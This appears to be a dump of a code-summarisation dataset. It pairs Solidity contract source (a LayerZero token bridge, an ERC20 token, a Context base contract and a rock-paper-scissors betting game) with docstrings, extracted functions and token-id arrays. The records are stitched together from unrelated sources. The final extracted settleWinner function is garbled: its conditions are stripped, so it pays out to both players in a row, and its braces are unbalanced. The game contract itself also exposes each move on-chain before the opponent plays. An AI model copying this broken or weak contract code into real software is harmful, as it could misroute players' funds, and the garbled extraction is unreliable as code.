amount); event SendSynchronizationProgress(uint16 dstChainId, uint64 nonce, bytes32 syncHash, uint progress); event ReceiveSynchronizationProgress(uint16 srcChainId, uint64 nonce, bytes32 syncHash, uint progress); // to avoid stack too deep struct LzBridgeParams { uint16 dstChainId; // the destination chainId address payable refundAddress; // native fees(collected by oracle and relayer) refund address if msg.value is too large address zroPaymentAddress; // if not zero user will use ZRO token to pay layerzero protocol fees(not oracle or relayer fees) bytes adapterParams; // see https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters } modifier onlyGovernor { require(msg.sender == networkGovernor, "Caller is not governor"); _; } /// @dev Put `initializer` modifier here to prevent anyone call this function from proxy after we initialized /// No delegatecall exist in this contract, so it's ok to expose this function in logic /// @param _endpoint The LayerZero endpoint function initialize(address _governor, address _endpoint) public initializer { require(_governor != address(0), "Governor not set"); require(_endpoint != address(0), "Endpoint not set"); __ReentrancyGuard_init(); __UUPSUpgradeable_init(); networkGovernor = _governor; endpoint = _endpoint; } /// @dev Only owner can upgrade logic contract // solhint-disable-next-line no-empty-blocks function _authorizeUpgrade(address newImplementation) internal override onlyGovernor {} /// @notice Set bridge destination /// @param dstChainId LayerZero chain id on other chains /// @param contractAddr LayerZeroBridge contract address on other chains function setDestination(uint16 dstChainId, bytes calldata contractAddr) external onlyGovernor { require(dstChainId != ILayerZeroEndpoint(endpoint).getChainId(), "Invalid dstChainId"); destinations[dstChainId] = contractAddr; emit UpdateDestination(dstChainId, contractAddr); } /// @notice Set destination address length /// @param dstChainId LayerZero chain id on other chains /// @param addressLength Address length function setDestinationAddressLength(uint16 dstChainId, uint8 addressLength) external onlyGovernor { require(dstChainId != ILayerZeroEndpoint(endpoint).getChainId(), "Invalid dstChainId"); destAddressLength[dstChainId] = addressLength; emit UpdateDestinationAddressLength(dstChainId, addressLength); } /// @notice Set app contract address /// @param app The app type /// @param contractAddress The app contract address function setApp(APP app, address contractAddress) external onlyGovernor { apps[app] = contractAddress; emit UpdateAPP(app, contractAddress); } /// @notice Estimate bridge zkl fees /// @param lzChainId the destination chainId /// @param receiver the destination receiver address /// @param amount the token amount to bridge /// @param useZro if true user will use ZRO token to pay layerzero protocol fees(not oracle or relayer fees) /// @param adapterParams see https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters function estimateZKLBridgeFees(uint16 lzChainId, bytes calldata receiver, uint256 amount, bool useZro, bytes calldata adapterParams ) external view returns (uint nativeFee, uint zroFee) { bytes memory payload = buildZKLBridgePayload(receiver, amount); return ILayerZeroEndpoint(endpoint).estimateFees(lzChainId, address(this), payload, useZro, adapterParams); } /// @notice Estimate bridge ZkLink Block fees /// @param lzChainId the destination chainId /// @param syncHash the sync hash of stored block /// @param progress the sync progress /// @param useZro if true user will use ZRO token to pay layerzero protocol fees(not oracle or relayer fees) /// @param adapterParams see https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters function estimateZkLinkBlockBridgeFees( uint16 lzChainId, bytes32 syncHash, uint256 progress, bool useZro, bytes calldata adapterParams ) external view returns (uint nativeFee, uint zroFee) { bytes memory payload = buildZkLinkBlockBridgePayload(syncHash, progress); return ILayerZeroEndpoint(endpoint).estimateFees(lzChainId, address(this), payload, useZro, adapterParams); } /// @notice Bridge zkl to other chain /// @param from the account burned from /// @param receiver the destination receiver address /// @param amount the amount to bridge /// @param params lz params function bridgeZKL( address from, bytes calldata receiver, uint256 amount, LzBridgeParams calldata params ) external nonReentrant payable { uint16 _dstChainId = params.dstChainId; // ===Checks=== bytes memory trustedRemote = checkDstChainId(_dstChainId); uint8 destAddressLength = destAddressLength[_dstChainId]; if (destAddressLength == 0) { destAddressLength = EVM_ADDRESS_LENGTH; } require(receiver.length == destAddressLength, "Invalid receiver"); require(amount > 0, "Amount not set"); address zkl = apps[APP.ZKL]; require(zkl != address(0), "ZKL not support"); // endpoint will check `refundAddress`, `zroPaymentAddress` and `adapterParams` // ===Interactions=== // send LayerZero message { bytes memory payload = buildZKLBridgePayload(receiver, amount); // solhint-disable-next-line check-send-result ILayerZeroEndpoint(endpoint).send{value:msg.value}(_dstChainId, trustedRemote, payload, params.refundAddress, params.zroPaymentAddress, params.adapterParams); } // burn token of `from`, it will be reverted if `amount` is over the balance of `from` uint64 nonce = ILayerZeroEndpoint(endpoint).getOutboundNonce(_dstChainId, address(this)); IZKL(zkl).bridgeTo(msg.sender, from, amount); emit SendZKL(_dstChainId, nonce, from, receiver, amount); } /// @notice Bridge ZkLink block to other chain /// @param storedBlockInfo the block proved but not executed at the current chain /// @param params lz params function bridgeZkLinkBlock( IZkLink.StoredBlockInfo calldata storedBlockInfo, LzBridgeParams calldata params ) external nonReentrant payable { uint16 _dstChainId = params.dstChainId; // ===Checks=== bytes memory trustedRemote = checkDstChainId(_dstChainId); address zklink = apps[APP.ZKLINK]; require(zklink != address(0), "ZKLINK not support"); // endpoint will check `refundAddress`, `zroPaymentAddress` and `adapterParams` // ===Interactions=== // send LayerZero message uint256 progress = IZkLink(zklink).getSynchronizedProgress(storedBlockInfo); bytes memory payload = buildZkLinkBlockBridgePayload(storedBlockInfo.syncHash, progress); uint64 nonce = ILayerZeroEndpoint(endpoint).getOutboundNonce(_dstChainId, address(this)); // solhint-disable-next-line check-send-result ILayerZeroEndpoint(endpoint).send{value:msg.value}(_dstChainId, trustedRemote, payload, params.refundAddress, params.zroPaymentAddress, params.adapterParams); emit SendSynchronizationProgress(_dstChainId, nonce, storedBlockInfo.syncHash, progress); } /// @notice Receive the bytes payload from the source chain via LayerZero /// @dev lzReceive can only be called by endpoint function lzReceive(uint16 srcChainId, bytes calldata srcAddress, uint64 nonce, bytes calldata payload) external override onlyEndpoint nonReentrant { // reject invalid src contract address bytes memory trustedRemote = destinations[srcChainId]; require(srcAddress.length == trustedRemote.length && keccak256(trustedRemote) == keccak256(srcAddress), "Invalid src"); // try-catch all errors/exceptions // solhint-disable-next-line no-empty-blocks try this.nonblockingLzReceive(srcChainId, srcAddress, nonce, payload) { // do nothing } catch { // error / exception failedMessages[srcChainId][srcAddress][nonce] = keccak256(payload); emit MessageFailed(srcChainId, srcAddress, nonce, payload); } } function nonblockingLzReceive(uint16 srcChainId, bytes calldata srcAddress, uint64 nonce, bytes calldata payload) public { // only internal transaction require(msg.sender == address(this), "Caller must be this bridge"); _nonblockingLzReceive(srcChainId, srcAddress, nonce, payload); } /// @notice Retry the failed message, payload hash must be exist function retryMessage(uint16 srcChainId, bytes calldata srcAddress, uint64 nonce, bytes calldata payload) external payable virtual { // assert there is message to retry bytes32 payloadHash = failedMessages[srcChainId][srcAddress][nonce]; require(payloadHash != bytes32(0), "No stored message"); require(keccak256(payload) == payloadHash, "Invalid payload"); // clear the stored message failedMessages[srcChainId][srcAddress][nonce] = bytes32(0); // execute the message. revert if it fails again _nonblockingLzReceive(srcChainId, srcAddress, nonce, payload); } function _nonblockingLzReceive(uint16 srcChainId, bytes calldata /**srcAddress**/, uint64 nonce, bytes calldata payload) internal { // unpack payload APP app = APP(uint8(payload[0])); if (app == APP.ZKL) { address zkl = apps[APP.ZKL]; (bytes memory receiverBytes, uint256 amount) = abi.decode(payload[1:], (bytes, uint256)); address receiver; assembly { receiver := mload(add(receiverBytes, EVM_ADDRESS_LENGTH)) } // mint token to receiver IZKL(zkl).bridgeFrom(receiver, amount); emit ReceiveZKL(srcChainId, nonce, receiver, amount); } else if (app == APP.ZKLINK) { address zklink = apps[APP.ZKLINK]; (bytes32 syncHash, uint256 progress) = abi.decode(payload[1:], (bytes32, uint256)); IZkLink(zklink).receiveSynchronizationProgress(syncHash, progress); emit ReceiveSynchronizationProgress(srcChainId, nonce, syncHash, progress); } else { revert("APP not support"); } } function checkDstChainId(uint16 dstChainId) internal view returns (bytes memory trustedRemote) { require(dstChainId != ILayerZeroEndpoint(endpoint).getChainId(), "Invalid dstChainId"); trustedRemote = destinations[dstChainId]; require(trustedRemote.length > 0, "Trust remote not exist"); } function buildZKLBridgePayload(bytes memory receiver, uint256 amount) internal pure returns (bytes memory payload) { payload = abi.encodePacked(APP.ZKL, abi.encode(receiver, amount)); } function buildZkLinkBlockBridgePayload(bytes32 syncHash, uint256 progress) internal pure returns (bytes memory payload) { payload = abi.encodePacked(APP.ZKLINK, abi.encode(syncHash, progress)); } } interface IZkLink { // stored block info of ZkLink struct StoredBlockInfo { uint32 blockNumber; uint64 priorityOperations; bytes32 pendingOnchainOperationsHash; uint256 timestamp; bytes32 stateHash; bytes32 commitment; bytes32 syncHash; } function getSynchronizedProgress(StoredBlockInfo memory block) external view returns (uint256 progress); function receiveSynchronizationProgress(bytes32 syncHash, uint256 progress) external; }
@notice Set app contract address @param app The app type @param contractAddress The app contract address
function setApp(APP app, address contractAddress) external onlyGovernor { apps[app] = contractAddress; emit UpdateAPP(app, contractAddress); }
12,573,805
[ 1, 694, 595, 6835, 1758, 225, 595, 1021, 595, 618, 225, 6835, 1887, 1021, 595, 6835, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 3371, 12, 7215, 595, 16, 1758, 6835, 1887, 13, 3903, 1338, 43, 1643, 29561, 288, 203, 3639, 8279, 63, 2910, 65, 273, 6835, 1887, 31, 203, 3639, 3626, 2315, 7215, 12, 2910, 16, 6835, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /// @title SafeMath contract - math operations with safety checks contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /// @title Ownable contract - base contract with an owner contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Killable contract - base contract that can be killed by owner. All funds in contract will be sent to the owner. contract Killable is Ownable { function kill() public onlyOwner { selfdestruct(owner); } } /// @title ERC20 interface see https://github.com/ethereum/EIPs/issues/20 contract ERC20 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function allowance(address owner, address spender) public constant returns (uint); function transfer(address to, uint value) public returns (bool ok); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function decimals() public constant returns (uint value); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /// @title SilentNotaryToken contract - standard ERC20 token with Short Hand Attack and approve() race condition mitigation. contract SilentNotaryToken is SafeMath, ERC20, Killable { string constant public name = "Silent Notary Token"; string constant public symbol = "SNTR"; /// Holder list address[] public holders; /// Balance data struct Balance { /// Tokens amount uint value; /// Object exist bool exist; } /// Holder balances mapping(address => Balance) public balances; /// Contract that is allowed to create new tokens and allows unlift the transfer limits on this token address public crowdsaleAgent; /// A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period. bool public released = false; /// approve() allowances mapping (address => mapping (address => uint)) allowed; /// @dev Limit token transfer until the crowdsale is over. modifier canTransfer() { if(!released) require(msg.sender == crowdsaleAgent); _; } /// @dev The function can be called only before or after the tokens have been releasesd /// @param _released token transfer and mint state modifier inReleaseState(bool _released) { require(_released == released); _; } /// @dev If holder does not exist add to array /// @param holder Token holder modifier addIfNotExist(address holder) { if(!balances[holder].exist) holders.push(holder); _; } /// @dev The function can be called only by release agent. modifier onlyCrowdsaleAgent() { require(msg.sender == crowdsaleAgent); _; } /// @dev Fix for the ERC20 short address attack http://vessenes.com/the-erc20-short-address-attack-explained/ /// @param size payload size modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } /// @dev Make sure we are not done yet. modifier canMint() { require(!released); _; } /// @dev Constructor function SilentNotaryToken() public { } /// Fallback method function() payable public { revert(); } function decimals() public constant returns (uint value) { return 4; } /// @dev Create new tokens and allocate them to an address. Only callably by a crowdsale contract /// @param receiver Address of receiver /// @param amount Number of tokens to issue. function mint(address receiver, uint amount) onlyCrowdsaleAgent canMint addIfNotExist(receiver) public { totalSupply = safeAdd(totalSupply, amount); balances[receiver].value = safeAdd(balances[receiver].value, amount); balances[receiver].exist = true; Transfer(0, receiver, amount); } /// @dev Set the contract that can call release and make the token transferable. /// @param _crowdsaleAgent crowdsale contract address function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner inReleaseState(false) public { crowdsaleAgent = _crowdsaleAgent; } /// @dev One way function to release the tokens to the wild. Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). function releaseTokenTransfer() public onlyCrowdsaleAgent { released = true; } /// @dev Tranfer tokens to address /// @param _to dest address /// @param _value tokens amount /// @return transfer result function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer addIfNotExist(_to) public returns (bool success) { balances[msg.sender].value = safeSub(balances[msg.sender].value, _value); balances[_to].value = safeAdd(balances[_to].value, _value); balances[_to].exist = true; Transfer(msg.sender, _to, _value); return true; } /// @dev Tranfer tokens from one address to other /// @param _from source address /// @param _to dest address /// @param _value tokens amount /// @return transfer result function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer addIfNotExist(_to) public returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to].value = safeAdd(balances[_to].value, _value); balances[_from].value = safeSub(balances[_from].value, _value); balances[_to].exist = true; allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } /// @dev Tokens balance /// @param _owner holder address /// @return balance amount function balanceOf(address _owner) constant public returns (uint balance) { return balances[_owner].value; } /// @dev Approve transfer /// @param _spender holder address /// @param _value tokens amount /// @return result function approve(address _spender, uint _value) public returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require ((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Token allowance /// @param _owner holder address /// @param _spender spender address /// @return remain amount function allowance(address _owner, address _spender) constant public returns (uint remaining) { return allowed[_owner][_spender]; } }
@dev Fix for the ERC20 short address attack http://vessenes.com/the-erc20-short-address-attack-explained/ @param size payload size
modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; }
941,368
[ 1, 8585, 364, 326, 4232, 39, 3462, 3025, 1758, 13843, 1062, 2207, 90, 403, 275, 281, 18, 832, 19, 5787, 17, 12610, 3462, 17, 6620, 17, 2867, 17, 4558, 484, 17, 338, 7446, 329, 19, 225, 963, 2385, 963, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 9606, 1338, 6110, 1225, 12, 11890, 963, 13, 288, 203, 565, 2583, 12, 3576, 18, 892, 18, 2469, 1545, 963, 397, 1059, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x0004C6404f9E4D3e799De533dE985ca427934028/sources/HodlrKeysContract.sol
* @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
3,976,527
[ 1, 17727, 1779, 2973, 326, 783, 4588, 819, 16, 6508, 326, 5793, 434, 326, 2492, 471, 2097, 501, 18, 21572, 4259, 854, 19190, 2319, 3970, 1234, 18, 15330, 471, 1234, 18, 892, 16, 2898, 1410, 486, 506, 15539, 316, 4123, 279, 2657, 21296, 16, 3241, 1347, 21964, 598, 2191, 17, 20376, 326, 2236, 5431, 471, 8843, 310, 364, 4588, 2026, 486, 506, 326, 3214, 5793, 261, 345, 10247, 487, 392, 2521, 353, 356, 2750, 11748, 2934, 1220, 6835, 353, 1338, 1931, 364, 12110, 16, 5313, 17, 5625, 20092, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 1772, 288, 203, 21281, 203, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 389, 3576, 751, 1435, 2713, 1476, 5024, 1135, 261, 3890, 745, 892, 13, 288, 203, 3639, 327, 1234, 18, 892, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // pragma solidity >=0.4.21 <0.7.0; pragma solidity ^0.6.0; contract RockPaperScissors { address owner; uint dummy = 0; enum Move { none, rock, paper, scissors } Move constant defaultChoice = Move.none; uint256 timeStarted; address[] playerAddresses; mapping(address => Move) eachPlayersMove; mapping(address => uint) howMuchPaid; mapping(address => uint) winningsPerPlayer; mapping(address => uint) playerNumberByAddress; bool gameOver = false; //99 is pending constant uint public gameResult = 99; //2 eth to start uint amountToStart = 2000000000000000000; constructor() public { owner = msg.sender; } function enroll() external payable returns (uint){ // Game storage game = games[auctionIndex]; require(msg.value>=amountToStart, "You need to submit 2 Eth to start."); require(howMuchPaid[msg.sender]==0, "Already paid."); require(playerAddresses.length<2, "Already 2 players."); playerAddresses.push(msg.sender); howMuchPaid[msg.sender] = msg.value; if (playerAddresses.length==2){ timeStarted = now; } playerNumberByAddress[msg.sender] = playerAddresses.length-1; return playerAddresses.length-1; } function getPlay(uint _playerNum) public returns (Move) { return eachPlayersMove[playerAddresses[_playerNum]]; } function returnAddress() public returns (address){ return msg.sender; } function makeMove(string memory _myMove) external { require(msg.sender == playerAddresses[0] || msg.sender == playerAddresses[1],"you need to be one of the enrolled players" ); require(timeStarted>0,"game has not started"); require(eachPlayersMove[msg.sender] == Move.none,"you already played"); eachPlayersMove[msg.sender]=getMove(_myMove); } function getMove(string memory m) internal returns (Move) { if (keccak256(bytes(m)) == keccak256(bytes("rock")) || keccak256(bytes(m)) == keccak256(bytes("Rock"))) { return Move.rock; } else if (keccak256(bytes(m)) == keccak256(bytes("scissors")) || keccak256(bytes(m)) == keccak256(bytes("Scissors"))) { return Move.scissors; } else if (keccak256(bytes(m)) == keccak256(bytes("paper")) || keccak256(bytes(m)) == keccak256(bytes("Paper")) ) { return Move.paper; } else { return Move.none; } } function settleWinner() external returns (uint) { require(gameOver != true, "game alrady over"); Move playerOneMove = eachPlayersMove[playerAddresses[0]]; Move playerTwoMove = eachPlayersMove[playerAddresses[1]]; require(playerOneMove != Move.none,"Player 0 hasnt played"); require(playerTwoMove != Move.none,"Player 1 hasnt played"); // 0 for player0 won, 1 for player 1 won, 2 for tie, 3 for unresolved uint result = 3; if (playerOneMove == playerTwoMove){ revertMoney(); result = 2; } else if (playerOneMove == Move.scissors) { if (playerTwoMove == Move.rock){ // won payOut(playerAddresses[1]); result = 1; } else if (playerTwoMove == Move.paper){ //lost payOut(playerAddresses[0]); result = 0; } } else if (playerOneMove == Move.rock) { if (playerTwoMove == Move.paper){ payOut(playerAddresses[1]); result = 1; } else if (playerTwoMove == Move.scissors){ payOut(playerAddresses[0]); result = 0; } } else if (playerOneMove == Move.paper) { if (playerTwoMove == Move.scissors){ payOut(playerAddresses[1]); result = 1; } else if (playerTwoMove == Move.rock){ payOut(playerAddresses[0]); result = 0; } } else{ result = 3; } gameResult = result; return result; } function getGameResult() public returns (uint){ return gameResult; } function revertMoney() public { payable(playerAddresses[0]).transfer(howMuchPaid[playerAddresses[0]]); payable(playerAddresses[1]).transfer(howMuchPaid[playerAddresses[1]]); gameOver = true; } function payOut(address winnerAddress) public { uint totalWinnings = howMuchPaid[playerAddresses[0]] + howMuchPaid[playerAddresses[1]]; payable(winnerAddress).transfer(totalWinnings); gameOver = true; } //To discourage players from locking the game, if more than 100 minutes has passed and //one player hasn't moved, let someone //submit for early payout to the player who has moved. function prematurePayOut() external { dummy += 1; if (now - timeStarted>6000){ Move playerOneMove = eachPlayersMove[playerAddresses[0]]; Move playerTwoMove = eachPlayersMove[playerAddresses[1]]; if (playerOneMove != Move.none && playerTwoMove == Move.none){ payOut(playerAddresses[0]); } else if (playerTwoMove != Move.none && playerOneMove == Move.none){ payOut(playerAddresses[1]); } } gameOver = true; } }
0 for player0 won, 1 for player 1 won, 2 for tie, 3 for unresolved
function settleWinner() external returns (uint) { require(gameOver != true, "game alrady over"); Move playerOneMove = eachPlayersMove[playerAddresses[0]]; Move playerTwoMove = eachPlayersMove[playerAddresses[1]]; require(playerOneMove != Move.none,"Player 0 hasnt played"); require(playerTwoMove != Move.none,"Player 1 hasnt played"); uint result = 3; if (playerOneMove == playerTwoMove){ revertMoney(); result = 2; payOut(playerAddresses[1]); result = 1; payOut(playerAddresses[0]); result = 0; } if (playerTwoMove == Move.paper){ payOut(playerAddresses[1]); result = 1; payOut(playerAddresses[0]); result = 0; } if (playerTwoMove == Move.scissors){ payOut(playerAddresses[1]); result = 1; payOut(playerAddresses[0]); result = 0; } result = 3; } gameResult = result; return result;
1,770,666
